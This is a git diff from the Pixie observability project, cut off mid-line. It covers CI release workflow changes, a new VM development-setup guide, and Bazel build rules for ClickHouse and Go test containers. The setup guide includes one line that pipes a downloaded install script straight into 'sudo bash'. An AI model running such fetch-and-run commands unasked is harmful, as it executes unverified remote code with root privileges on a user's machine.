"dev_image_with_extras" build-release: name: Build Release - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image + permissions: + contents: read + packages: write container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} env: @@ -33,15 +36,17 @@ jobs: with: download_toplevel: 'true' BB_API_KEY: ${{ secrets.BB_IO_API_KEY }} - - id: gcloud-creds - uses: ./.github/actions/gcloud_creds - with: - SERVICE_ACCOUNT_KEY: ${{ secrets.GH_RELEASE_SA_PEM_B64 }} - name: Import GPG key env: BUILDBOT_GPG_KEY_B64: ${{ secrets.BUILDBOT_GPG_KEY_B64 }} run: | echo "${BUILDBOT_GPG_KEY_B64}" | base64 --decode | gpg --no-tty --batch --import + - name: Login to GHCR + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ github.token }} - name: Build & Push Artifacts env: REF: ${{ github.event.ref }} @@ -49,9 +54,9 @@ jobs: JOB_NAME: ${{ github.job }} COSIGN_PASSWORD: ${{secrets.COSIGN_PASSWORD}} COSIGN_PRIVATE_KEY: ${{secrets.COSIGN_PRIVATE_KEY}} - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} GH_REPO: ${{ github.repository }} + IMAGE_REPO: ${{ vars.IMAGE_REPO || 'ghcr.io/pixie-io' }} shell: bash run: | export TAG_NAME="${REF#*/tags/}" @@ -60,20 +65,6 @@ jobs: export INDEX_FILE="$(pwd)/index.yaml" ./ci/save_version_info.sh ./ci/vizier_build_release.sh - - name: Build & Export Docs - env: - PXL_DOCS_GCS_PATH: "gs://pixie-dev-public/pxl-docs.json" - run: | - docs="$(mktemp)" - bazel run //src/carnot/docstring:docstring -- --output_json "${docs}" - gsutil cp "${docs}" "${PXL_DOCS_GCS_PATH}" - - name: Update GCS Manifest - env: - ARTIFACT_MANIFEST_BUCKET: "pixie-dev-public" - # Use the old style versions file instead of the new updates for the gcs manifest. - MANIFEST_UPDATES: "" - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} - run: ./ci/update_artifact_manifest.sh - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: manifest-updates @@ -134,8 +125,8 @@ jobs: env: GIT_SSH_COMMAND: "ssh -i /tmp/ssh.key" run: | - git config --global user.name 'pixie-io-buildbot' - git config --global user.email 'build@pixielabs.ai' + git config --global user.name "${{ vars.BUILDBOT_NAME || 'pixie-io-buildbot' }}" + git config --global user.email "${{ vars.BUILDBOT_EMAIL || 'build@pixielabs.ai' }}" - name: Push Helm YAML to gh-pages shell: bash env: @@ -149,7 +140,7 @@ jobs: git commit -s -m "Release Helm chart Vizier ${VERSION}" git push origin "gh-pages" update-gh-artifacts-manifest: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: [get-dev-image, create-github-release] container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} @@ -178,8 +169,8 @@ jobs: env: BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} run: | - git config --global user.name 'pixie-io-buildbot' - git config --global user.email 'build@pixielabs.ai' + git config --global user.name "${{ vars.BUILDBOT_NAME || 'pixie-io-buildbot' }}" + git config --global user.email "${{ vars.BUILDBOT_EMAIL || 'build@pixielabs.ai' }}" git config --global user.signingkey "${BUILDBOT_GPG_KEY_ID}" git config --global commit.gpgsign true - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index d061afd4936..87ec25a7bdd 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -10,6 +10,166 @@ This document outlines the process for setting up the development environment fo ## Setting up the Environment +Decide first if you'd like a full buildsystem (on a VM) or a containerized dev environment. + +### VM as buildsystem + +This utilizes `chef` to setup all dependencies and is based on `ubuntu`. +> [!Important] +> The below description defaults to using a `minikube` on this VM for the developer to have an `all-in-one` setup. The VM type must support nested virtualization for `minikube` to work. Please confirm that the nested virtualization really is turned on before you continue, not all VM-types support it. +> If you `bring-your-own-k8s`, you may disregard this. + +```yaml +advancedMachineFeatures: + enableNestedVirtualization: true +``` + +The following specifics were tested on GCP on a Ubuntu 24.04 (May 2025). Please see the latest [packer file](https://github.com/pixie-io/pixie/blob/main/tools/chef/Makefile#L56) for the current supported Ubuntu version: The initial compilation is CPU intense and `16vcpu` were a good trade-off, a balanced disk of 500 GB seems convenient and overall `n2-standard-16` works well. + +> [!Warning] +> The first `full build` takes several hours and at least 160 Gb of space +> The first `vizier build` on these parameters takes approx. 1 hr and 45 Gb of space. + + + + + +#### 1) Install chef and some dependencies + +First, install `chef` to cook your `recipies`: + +```bash +curl -L https://chefdownload-community.chef.io/install.sh | sudo bash +``` +You may find it helpful to use a terminal manager like `screen` or `tmux`, esp to detach the builds. +```bash +sudo apt install -y screen git +``` + +In order to very significantly speed up your work, you may opt for a local cache directory. This can be shared between users of the VM, if both are part of the same group. +Create a cache dir under such as e.g. /tmp/bazel +```sh +sudo groupadd bazelcache +sudo usermod -aG bazelcache $USER +sudo mkdir -p +sudo chown -R :bazelcache +sudo chmod -R 2775 +``` + + +Now, on this VM, clone pixie (or your fork of it) + +```bash +git clone https://github.com/pixie-io/pixie.git +cd pixie/tools/chef +sudo chef-solo -c solo.rb -j node_workstation.json +sudo usermod -aG libvirt $USER +``` + +Make permanent the env loading via your bashrc +```sh +echo "source /opt/px_dev/pxenv.inc " >> ~/.bashrc +``` + + +#### 2) If using cache, tell bazel about it + +Edit the `` into the .bazelrc and put it into your homedir: +``` +# Global bazelrc file, see https://docs.bazel.build/versions/master/guide.html#bazelrc. + +# Use local Cache directory if building on a VM: +# On Chef VM, create a directory and comment in the following line: + build --disk_cache=/tmp/bazel/ # Optional for multi-user cache: Make this directory owned by a group name e.g. "bazelcache" +``` + +```sh +cp .bazelrc ~/. +``` + +#### 3) Create/Use a registry you control and login + +```sh +docker login ghcr.io/ +``` + +#### 4) Prepare your kubernetes + +> [!Important] +> The below description defaults to using a `minikube` on this VM for the developer to have an `all-in-one` setup. +> If you `bring-your-own-k8s`, please prepare your preferred setup and go to Step 5 + +If you added your user to the libvirt group (`sudo usermod -aG libvirt $USER`), starting the development environment on this VM will now work (if you did this interactively: you need to refresh your group membership, e.g. by logout/login). The following command will, amongst other things, start minikube +```sh +make dev-env-start +``` + +#### 5) Deploy a vanilla pixie + +First deploy the upstream pixie (`vizier`, `kelvin` and `pem`) using the hosted cloud. Follow [these instructions](https://docs.px.dev/installing-pixie/install-schemes/cli) to install the `px` command line interface and Pixie: +```sh +px auth login +``` + +Once logged in to pixie, we found that limiting the memory is useful, thus after login, set the deploy option like so: +```sh +px deploy -p=1Gi +``` +For reference and further information https://docs.px.dev/installing-pixie/install-guides/hosted-pixie/cosmic-cloud. + +Optional on `minikube`: + +You may encounter the following WARNING, which is related to the kernel headers missing on the minikube node (this is not your VM node). This is safe to ignore if Pixie starts up properly and your cluster is queryable from Pixie's [Live UI](https://docs.px.dev/using-pixie/using-live-ui). Please see [pixie-issue2051](https://github.com/pixie-io/pixie/issues/2051) for further details. +``` +ERR: Detected missing kernel headers on your cluster's nodes. This may cause issues with the Pixie agent. Please install kernel headers on all nodes. +``` + +#### 6) Skaffold deploy your changes + +Once you make changes to the source code, or switch to another source code version, use Skaffold to deploy (after you have the vanilla setup working on minikube) + +Ensure that you have commented in the bazelcache-directory into the bazel config (see Step 2). + + +Review the compilation-mode suits your purposes: +``` +cat skaffold/skaffold_vizier.yaml +# Note: You will want to stick with a sysroot based build (-p x86_64_sysroot or -p aarch64_sysroot), +# but you may want to change the --complication_mode setting based on your needs. +# opt builds remove assert/debug checks, while dbg builds work with debuggers (gdb). +# See the bazel docs for more details https://bazel.build/docs/user-manual#compilation-mode +- name: x86_64_sysroot + patches: + - op: add + path: /build/artifacts/context=./bazel/args + value: + - --config=x86_64_sysroot + - --compilation_mode=dbg +# - --compilation_mode=opt +``` + +Optional: you can make permanent your in the skaffold config: +```sh +skaffold config set default-repo +skaffold run -f skaffold/skaffold_vizier.yaml -p x86_64_sysroot +``` + +Check that your docker login token is still valid, then + +```sh +skaffold run -f skaffold/skaffold_vizier.yaml -p x86_64_sysroot --default-repo= +``` + + + +#### 7) Golden Image + +Once all the above is working and the first cache has been built, bake an image of your VM for safekeeping. + + + + +### Containerized Devenv To set up the developer environment required to start building Pixie's components, run the `run_docker.sh` script. The following script will run the Docker container and dump you out inside the docker container console from which you can run all the necessary tools to build, test, and deploy Pixie in development mode. 1. Since this script runs a Docker container, you must have Docker installed. To install it follow these instructions [here](https://docs.docker.com/get-docker/). @@ -138,3 +298,10 @@ You will be able to run any of the CLI commands using `bazel run`. - `bazel run //src/pixie_cli:px -- deploy` will be equivalent to `px deploy` - `bazel run //src/pixie_cli:px -- run px/cluster` is the same as `px run px/cluster` + + +# Using a Custom Pixie without Development Environment +This section is on deploying pixie when it is in a state where parts are official and parts are self-developped, without setting up the Development environment + +First, get yourself a kubernetes and have helm, kubectl and your favourite tools in your favourite places. + diff --git a/PLATFORM.md b/PLATFORM.md new file mode 100644 index 00000000000..e04091a0223 --- /dev/null +++ b/PLATFORM.md @@ -0,0 +1,5 @@ +# Using a Custom Pixie without Development Environment +This section is on deploying pixie when it is in a state where parts are official and parts are self-developped, without setting up the Development environment + +First, get yourself a kubernetes and have helm, kubectl and your favourite tools in your favourite places. + diff --git a/WORKSPACE b/WORKSPACE index 05177c8c7de..98144dd2243 100644 --- a/WORKSPACE +++ b/WORKSPACE @@ -213,7 +213,7 @@ load("@thrift_deps//:defs.bzl", thrift_pinned_maven_install = "pinned_maven_inst thrift_pinned_maven_install() # gazelle:repo bazel_gazelle -# Gazelle depes need to be loaded last to make sure they don't override our dependencies. +# Gazelle deps need to be loaded last to make sure they don't override our dependencies. # The first one wins when it comes to package declaration. load("@bazel_gazelle//:deps.bzl", "gazelle_dependencies") diff --git a/bazel/container_images.bzl b/bazel/container_images.bzl index ab81087c1d6..e31088b2471 100644 --- a/bazel/container_images.bzl +++ b/bazel/container_images.bzl @@ -14,7 +14,7 @@ # # SPDX-License-Identifier: Apache-2.0 -load("@io_bazel_rules_docker//container:container.bzl", "container_pull") +load("@io_bazel_rules_docker//container:container.bzl", "container_pull", "container_image", "container_layer") # When adding an image here, first add it to scripts/regclient/regbot_deps.yaml # Once that is in, trigger the github workflow that mirrors the required image @@ -367,3 +367,12 @@ def stirling_test_images(): repository = "golang_1_22_grpc_server_with_buildinfo", digest = "sha256:67adba5e8513670fa37bd042862e7844f26239e8d2997ed8c3b0aa527bc04cc3", ) + + # ClickHouse server image for testing. + # clickhouse/clickhouse-server:25.7-alpine + container_pull( + name = "clickhouse_server_base_image", + registry = "docker.io", + repository = "clickhouse/clickhouse-server", + digest = "sha256:60c53a520a1caad6555eb6772a8a9c91bb09774c1c7ec87e3371ea3da254eeab", + ) diff --git a/bazel/external/clickhouse_cpp.BUILD b/bazel/external/clickhouse_cpp.BUILD new file mode 100644 index 00000000000..625dfb16ee1 --- /dev/null +++ b/bazel/external/clickhouse_cpp.BUILD @@ -0,0 +1,64 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@rules_foreign_cc//foreign_cc:defs.bzl", "cmake") + +licenses(["notice"]) + +exports_files(["LICENSE"]) + +filegroup( + name = "all", + srcs = glob(["**"]), +) + +cmake( + name = "clickhouse_cpp", + build_args = [ + "--", # <- Pass remaining options to the native tool. + "-j`nproc`", + "-l`nproc`", + ], + cache_entries = { + "BUILD_BENCHMARK": "OFF", + "BUILD_TESTS": "OFF", + "BUILD_SHARED_LIBS": "OFF", + "CMAKE_BUILD_TYPE": "Release", + "WITH_OPENSSL": "OFF", # Disable OpenSSL for now + "WITH_SYSTEM_ABSEIL": "OFF", # Use bundled abseil + "WITH_SYSTEM_LZ4": "OFF", # Use bundled for now + "WITH_SYSTEM_CITYHASH": "OFF", # Use bundled for now + "WITH_SYSTEM_ZSTD": "OFF", # Use bundled for now + "CMAKE_POSITION_INDEPENDENT_CODE": "ON", + }, + lib_source = ":all", + out_static_libs = [ + "libclickhouse-cpp-lib.a", + "liblz4.a", + "libcityhash.a", + "libzstdstatic.a", + "libabsl_int128.a", + ], + targets = [ + "clickhouse-cpp-lib", + "lz4", + "cityhash", + "zstdstatic", + "absl_int128", + ], + visibility = ["//visibility:public"], + working_directory = "", +) \ No newline at end of file diff --git a/bazel/external/rules_docker_pusher_cfg.patch b/bazel/external/rules_docker_pusher_cfg.patch new file mode 100644 index 00000000000..de68a9f90ac --- /dev/null +++ b/bazel/external/rules_docker_pusher_cfg.patch @@ -0,0 +1,26 @@ +diff --git a/container/push.bzl b/container/push.bzl +index baef9c2..942741d 100644 +--- a/container/push.bzl ++++ b/container/push.bzl +@@ -205,7 +205,7 @@ container_push_ = rule( + ), + "_pusher": attr.label( + default = "//container/go/cmd/pusher", +- cfg = "target", ++ cfg = "exec", + executable = True, + allow_files = True, + ), +diff --git a/contrib/push-all.bzl b/contrib/push-all.bzl +index c7e7f72..fd6518b 100644 +--- a/contrib/push-all.bzl ++++ b/contrib/push-all.bzl +@@ -126,7 +126,7 @@ container_push = rule( + ), + "_pusher": attr.label( + default = Label("//container/go/cmd/pusher"), +- cfg = "target", ++ cfg = "exec", + executable = True, + allow_files = True, + ), diff --git a/bazel/go_container.bzl b/bazel/go_container.bzl new file mode 100644 index 00000000000..550daa25cd2 --- /dev/null +++ b/bazel/go_container.bzl @@ -0,0 +1,324 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("//bazel:pl_build_system.bzl", "pl_boringcrypto_go_sdk") + +""" +Bazel rules and macros for generating Go container test libraries. + +This module provides a custom rule and macros to generate C++ header files +for Go container test fixtures at build time. This eliminates the need for +manually maintaining per-version header files. + +There are two types of container sources: +- bazel_sdk_versions: Built from source using Bazel's Go SDK cross-compilation +- prebuilt_container_versions: Use pre-built container images from the containers directory + +Usage: + In BUILD.bazel: + load("//bazel:go_container.bzl", "go_container_libraries") + + go_container_libraries( + container_type = "grpc_server", + bazel_sdk_versions = ["1.23", "1.24"], + prebuilt_container_versions = ["1.18", "1.19"], + ) +""" + +load("//bazel:pl_build_system.bzl", "pl_cc_test_library") + +_LICENSE_HEADER = """\ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +// AUTO-GENERATED FILE - DO NOT EDIT", +// Generated by //bazel:go_container.bzl", + +#pragma once + +""" + + +# Template for container header content +_CONTAINER_HEADER_TEMPLATE = _LICENSE_HEADER + """\ + +#include + +#include "src/common/testing/test_environment.h" +#include "src/common/testing/test_utils/container_runner.h" + +namespace px {{ +namespace stirling {{ +namespace testing {{ + +class {class_name} : public ContainerRunner {{ + public: + {class_name}() + : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, + kReadyMessage) {{}} + + private: + static constexpr std::string_view kBazelImageTar = + "{tar_path}"; + static constexpr std::string_view kContainerNamePrefix = "{container_prefix}"; + static constexpr std::string_view kReadyMessage = {ready_message}; +}}; + +}} // namespace testing +}} // namespace stirling +}} // namespace px +""" + +# Configuration for each use case +# Keys: container_type name +# Values: dict with container_prefix, ready_message, tar patterns +_GO_CONTAINER_CONFIGS = { + "grpc_server": { + "container_prefix": "grpc_server", + "ready_message": '"Starting HTTP/2 server"', + "tar_pattern_bazel_sdk": "src/stirling/testing/demo_apps/go_grpc_tls_pl/server/golang_{version}_grpc_tls_server.tar", + "tar_pattern_prebuilt": "src/stirling/source_connectors/socket_tracer/testing/containers/golang_{version}_grpc_server_with_buildinfo.tar", + "class_suffix": "GRPCServerContainer", + }, + "grpc_client": { + "container_prefix": "grpc_client", + "ready_message": '""', + "tar_pattern_bazel_sdk": "src/stirling/testing/demo_apps/go_grpc_tls_pl/client/golang_{version}_grpc_tls_client.tar", + "tar_pattern_prebuilt": None, + "class_suffix": "GRPCClientContainer", + }, + "tls_server": { + "container_prefix": "https_server", + "ready_message": '"Starting HTTPS service"', + "tar_pattern_bazel_sdk": "src/stirling/testing/demo_apps/go_https/server/golang_{version}_https_server.tar", + "tar_pattern_prebuilt": "src/stirling/source_connectors/socket_tracer/testing/containers/golang_{version}_https_server_with_buildinfo.tar", + "class_suffix": "TLSServerContainer", + }, + "tls_client": { + "container_prefix": "https_client", + "ready_message": 'R"({"status":"ok"})"', + "tar_pattern_bazel_sdk": "src/stirling/testing/demo_apps/go_https/client/golang_{version}_https_client.tar", + "tar_pattern_prebuilt": None, + "class_suffix": "TLSClientContainer", + }, +} + +def _version_to_class_prefix(version): + """Convert version string to class name prefix. + + Args: + version: Go SDK version string (e.g., "1.24", "1.23.11") + + Returns: + Class name prefix (e.g., "Go1_24_", "GoBoringCrypto") + """ + + if version in pl_boringcrypto_go_sdk: + return "GoBoringCrypto" + return "Go" + version.replace(".", "_") + "_" + +def _version_to_label_suffix(version): + """Convert version string to bazel label suffix. + + Args: + version: Go SDK version string (e.g., "1.24", "1.23.11") + + Returns: + Label suffix (e.g., "1_24", "boringcrypto") + """ + + if version in pl_boringcrypto_go_sdk: + return "boringcrypto" + return version.replace(".", "_") + +def _go_container_header_impl(ctx): + """Generate a Go container header file.""" + output = ctx.actions.declare_file(ctx.attr.header_name) + + ctx.actions.write( + output = output, + content = _CONTAINER_HEADER_TEMPLATE.format( + class_name = ctx.attr.class_name, + tar_path = ctx.attr.tar_path, + container_prefix = ctx.attr.container_prefix, + ready_message = ctx.attr.ready_message, + ), + ) + return [DefaultInfo(files = depset([output]))] + +go_container_header = rule( + implementation = _go_container_header_impl, + attrs = { + "class_name": attr.string(mandatory = True), + "container_prefix": attr.string(mandatory = True), + "header_name": attr.string(mandatory = True), + "ready_message": attr.string(mandatory = True), + "tar_path": attr.string(mandatory = True), + }, +) + +def go_container_library(name, container_type, version, use_prebuilt = False): + """ + Create a container library for a specific Go version and use case. + + This macro generates a C++ header file and wraps it in a pl_cc_test_library + that can be used as a dependency in tests. + + Args: + name: Target name for the library + container_type: One of "grpc_server", "grpc_client", "tls_server", "tls_client" + version: Go SDK version (e.g., "1.24", "1.23.11") + use_prebuilt: Whether to use prebuilt container tar path (for older Go versions that are no longer built via bazel) + """ + if container_type not in _GO_CONTAINER_CONFIGS: + fail("Invalid container type'{}'. Must be one of: {}".format( + container_type, + ", ".join(_GO_CONTAINER_CONFIGS.keys()), + )) + config = _GO_CONTAINER_CONFIGS[container_type] + label_suffix = _version_to_label_suffix(version) + class_prefix = _version_to_class_prefix(version) + + # Determine tar path pattern based on container source + if use_prebuilt: + tar_pattern = config["tar_pattern_prebuilt"] + if not tar_pattern: + fail("container_type '{}' does not support prebuilt containers".format(container_type)) + else: + tar_pattern = config["tar_pattern_bazel_sdk"] + + tar_path = tar_pattern.format(version = label_suffix) + + # Class name: Go{version}_{UseCase}Container or GoBoringCrypto{UseCase}Container + class_name = class_prefix + config["class_suffix"] + + header_name = "go_{}_{}_container.h".format(label_suffix, container_type) + + # Generate the header + go_container_header( + name = name + "_header", + header_name = header_name, + class_name = class_name, + tar_path = tar_path, + container_prefix = config["container_prefix"], + ready_message = config["ready_message"], + ) + + # Parse tar path to get the Bazel label + # e.g., "src/stirling/testing/demo_apps/go_grpc_tls_pl/server/golang_1_24_grpc_tls_server.tar" + # becomes "//src/stirling/testing/demo_apps/go_grpc_tls_pl/server:golang_1_24_grpc_tls_server.tar" + tar_dir = tar_path.rsplit("/", 1)[0] + tar_file = tar_path.rsplit("/", 1)[1] + tar_label = "//" + tar_dir + ":" + tar_file + + # Create the test library + pl_cc_test_library( + name = name, + hdrs = [":" + name + "_header"], + data = [tar_label], + deps = ["//src/common/testing/test_utils:cc_library"], + ) + +def _get_header_path(container_type, label_suffix): + """Get the generated header path for a container.""" + return "src/stirling/source_connectors/socket_tracer/testing/container_images/go_{}_{}_container.h".format( + label_suffix, + container_type, + ) + +def go_container_libraries(container_type, bazel_sdk_versions = [], prebuilt_container_versions = []): + """ + Generate container libraries for all versions of a use case. + + This is a convenience macro that generates multiple go_container_library + targets in a single call. The two version lists are mutually exclusive - + each version should appear in exactly one list. + + Args: + container_type: One of "grpc_server", "grpc_client", "tls_server", "tls_client" + bazel_sdk_versions: List of Go SDK versions built from source using Bazel + prebuilt_container_versions: List of Go versions using pre-built container images + """ + all_versions = prebuilt_container_versions + bazel_sdk_versions + include_paths = [] + deps = [] + + # Generate libraries for prebuilt container versions + for version in prebuilt_container_versions: + label_suffix = _version_to_label_suffix(version) + target_name = "go_{}_{}_container".format(label_suffix, container_type) + go_container_library( + name = target_name, + container_type = container_type, + version = version, + use_prebuilt = True, + ) + include_paths.append(_get_header_path(container_type, label_suffix)) + deps.append(":" + target_name) + + # Generate libraries for Bazel SDK versions (built from source) + for version in bazel_sdk_versions: + label_suffix = _version_to_label_suffix(version) + target_name = "go_{}_{}_container".format(label_suffix, container_type) + go_container_library( + name = target_name, + container_type = container_type, + version = version, + use_prebuilt = False, + ) + include_paths.append(_get_header_path(container_type, label_suffix)) + deps.append(":" + target_name) + + # Generate the aggregated includes header + if include_paths: + # Header name: go_{container_type}_containers.h + # e.g., "grpc_server" -> "go_grpc_server_containers.h" + header_name = "go_{}_containers.h".format(container_type) + includes_target_name = "go_{}_containers".format(container_type) + + # Build the header content + header_lines = _LICENSE_HEADER.splitlines() + for include_path in include_paths: + header_lines.append('#include "{}"'.format(include_path)) + header_content = "\\n".join(header_lines) + + # Use genrule to generate the header + native.genrule( + name = includes_target_name + "_gen", + outs = [header_name], + cmd = "printf '{}' > $@".format(header_content), + ) + + pl_cc_test_library( + name = includes_target_name, + hdrs = [":" + includes_target_name + "_gen"], + deps = deps, + ) diff --git a/bazel/linux_headers.bzl b/bazel/linux_headers.bzl index 56c336e5aba..a7bd72a6b5a 100644 --- a/bazel/linux_headers.bzl +++ b/bazel/linux_headers.bzl @@ -28,19 +28,17 @@ def linux_headers(): http_file( name = "linux_headers_merged_x86_64_tar_gz", urls = [ - "https://github.com/pixie-io/dev-artifacts/releases/download/linux-headers%2Fpl7/linux-headers-merged-x86_64-pl7.tar.gz", - "https://storage.googleapis.com/pixie-dev-public/linux-headers/pl7/linux-headers-merged-x86_64-pl7.tar.gz", + "https://github.com/pixie-io/dev-artifacts/releases/download/linux-headers%2Fpl8/linux-headers-merged-x86_64-pl8.tar.gz", ], - sha256 = "e4635db60d7f4139a8fea1b0490a0d0159e1edb9f3272ba2bcf40f8ea933bf93", + sha256 = "07d0393aca727faadd41146585f92e3d9df239d91e2fa985ec55e50dc8526594", downloaded_file_path = "linux-headers-merged-x86_64.tar.gz", ) http_file( name = "linux_headers_merged_arm64_tar_gz", urls = [ - "https://github.com/pixie-io/dev-artifacts/releases/download/linux-headers%2Fpl7/linux-headers-merged-arm64-pl7.tar.gz", - "https://storage.googleapis.com/pixie-dev-public/linux-headers/pl7/linux-headers-merged-arm64-pl7.tar.gz", + "https://github.com/pixie-io/dev-artifacts/releases/download/linux-headers%2Fpl8/linux-headers-merged-arm64-pl8.tar.gz", ], - sha256 = "c2a99ad6462dd1211c4e2f54f7279b7cf526e73918148350ccba988b95ca6115", + sha256 = "75a05de508a7e83204e023ecdbdc2322b42fc812037a253de29c178871db7012", downloaded_file_path = "linux-headers-merged-arm64.tar.gz", ) diff --git a/bazel/pl_build_system.bzl b/bazel/pl_build_system.bzl index 82b6acb5e07..f8eaa66efdc 100644 --- a/bazel/pl_build_system.bzl +++ b/bazel/pl_build_system.bzl @@ -28,6 +28,7 @@ pl_go_test_versions = ["1.18", "1.19", "1.20", "1.21", "1.22"] pl_supported_go_sdk_versions = ["1.23", "1.24"] # The last version in this list corresponds to the boringcrypto go sdk version. +# This list is used for generating container libraries and other version-specific targets. pl_all_supported_go_sdk_versions = pl_supported_go_sdk_versions + pl_boringcrypto_go_sdk def pl_go_sdk_version_template_to_label(tpl, version): diff --git a/bazel/repositories.bzl b/bazel/repositories.bzl index 89f0e2dbc2b..feb8804c711 100644 --- a/bazel/repositories.bzl +++ b/bazel/repositories.bzl @@ -153,6 +153,7 @@ def _cc_deps(): _bazel_repo("com_github_ariafallah_csv_parser", build_file = "//bazel/external:csv_parser.BUILD") _bazel_repo("com_github_arun11299_cpp_jwt", build_file = "//bazel/external:cpp_jwt.BUILD") _bazel_repo("com_github_cameron314_concurrentqueue", build_file = "//bazel/external:concurrentqueue.BUILD") + _bazel_repo("com_github_clickhouse_clickhouse_cpp", build_file = "//bazel/external:clickhouse_cpp.BUILD") _bazel_repo("com_github_cyan4973_xxhash", build_file = "//bazel/external:xxhash.BUILD") _bazel_repo("com_github_nlohmann_json", build_file = "//bazel/external:nlohmann_json.BUILD") _bazel_repo("com_github_packetzero_dnsparser", build_file = "//bazel/external:dnsparser.BUILD") @@ -253,7 +254,7 @@ def _pl_deps(): _bazel_repo("rules_foreign_cc") _bazel_repo("io_bazel_rules_k8s") _bazel_repo("io_bazel_rules_closure") - _bazel_repo("io_bazel_rules_docker", patches = ["//bazel/external:rules_docker.patch", "//bazel/external:rules_docker_arch.patch"], patch_args = ["-p1"]) + _bazel_repo("io_bazel_rules_docker", patches = ["//bazel/external:rules_docker.patch", "//bazel/external:rules_docker_arch.patch", "//bazel/external:rules_docker_pusher_cfg.patch"], patch_args = ["-p1"]) _bazel_repo("rules_python") _bazel_repo("rules_pkg") _bazel_repo("com_github_bazelbuild_buildtools") diff --git a/bazel/repository_locations.bzl b/bazel/repository_locations.bzl index 6c5236fff83..4584d725f9b 100644 --- a/bazel/repository_locations.bzl +++ b/bazel/repository_locations.bzl @@ -76,6 +76,11 @@ REPOSITORY_LOCATIONS = dict( strip_prefix = "concurrentqueue-1.0.3", urls = ["https://github.com/cameron314/concurrentqueue/archive/refs/tags/v1.0.3.tar.gz"], ), + com_github_clickhouse_clickhouse_cpp = dict( + sha256 = "1029a1bb0da8a72db1662a0418267742e66c82bb3e6b0ed116623a2fa8c65a58", + strip_prefix = "clickhouse-cpp-22dc9441cd807156511c6dcf97b1b878bd663d77", + urls = ["https://github.com/ClickHouse/clickhouse-cpp/archive/22dc9441cd807156511c6dcf97b1b878bd663d77.tar.gz"], + ), com_github_cyan4973_xxhash = dict( sha256 = "952ebbf5b11fbf59ae5d760a562d1e9112278f244340ad7714e8556cbe54f7f7", strip_prefix = "xxHash-0.7.3", diff --git a/ci/artifact_mirrors.yaml b/ci/artifact_mirrors.yaml index 003abc5de89..987ec90912f 100644 --- a/ci/artifact_mirrors.yaml +++ b/ci/artifact_mirrors.yaml @@ -4,8 +4,3 @@ - name: gh-releases type: gh-releases url_format: 'https://github.com/${gh_repo}/releases/download/release/${component}/v${version}/${artifact_name}' -- name: pixie-oss-gcs - type: gcs - bucket: pixie-dev-public - path_format: '${component}/${version}/${artifact_name}' - url_format: 'https://storage.googleapis.com/pixie-dev-public/${component}/${version}/${artifact_name}' diff --git a/ci/artifact_utils.sh b/ci/artifact_utils.sh index f79257dcad3..a1eec1a7760 100644 --- a/ci/artifact_utils.sh +++ b/ci/artifact_utils.sh @@ -17,7 +17,7 @@ # SPDX-License-Identifier: Apache-2.0 gh_artifacts_dir="${ARTIFACTS_DIR}" -gh_repo="${GH_REPO:-pixie-io/pixie}" +gh_repo="${GH_REPO:-${GITHUB_REPOSITORY:-pixie-io/pixie}}" workspace=$(git rev-parse --show-toplevel) mirrors_file="${workspace}/ci/artifact_mirrors.yaml" diff --git a/ci/cli_build_release.sh b/ci/cli_build_release.sh index a7846d67c5e..4b5b952eb45 100755 --- a/ci/cli_build_release.sh +++ b/ci/cli_build_release.sh @@ -37,7 +37,7 @@ darwin_arm64_binary=$(bazel cquery -c opt //src/pixie_cli:px_darwin_arm64 --outp bazel run -c opt //src/utils/artifacts/versions_gen:versions_gen -- \ --repo_path "${repo_path}" --artifact_name cli --versions_file "${versions_file}" -bazel build -c opt --config=stamp //src/pixie_cli:px_darwin_amd64 //src/pixie_cli:px_darwin_arm64 //src/pixie_cli:px +bazel build -c opt --config=stamp --config=x86_64_sysroot //src/pixie_cli:px_darwin_amd64 //src/pixie_cli:px_darwin_arm64 //src/pixie_cli:px # Avoid dealing 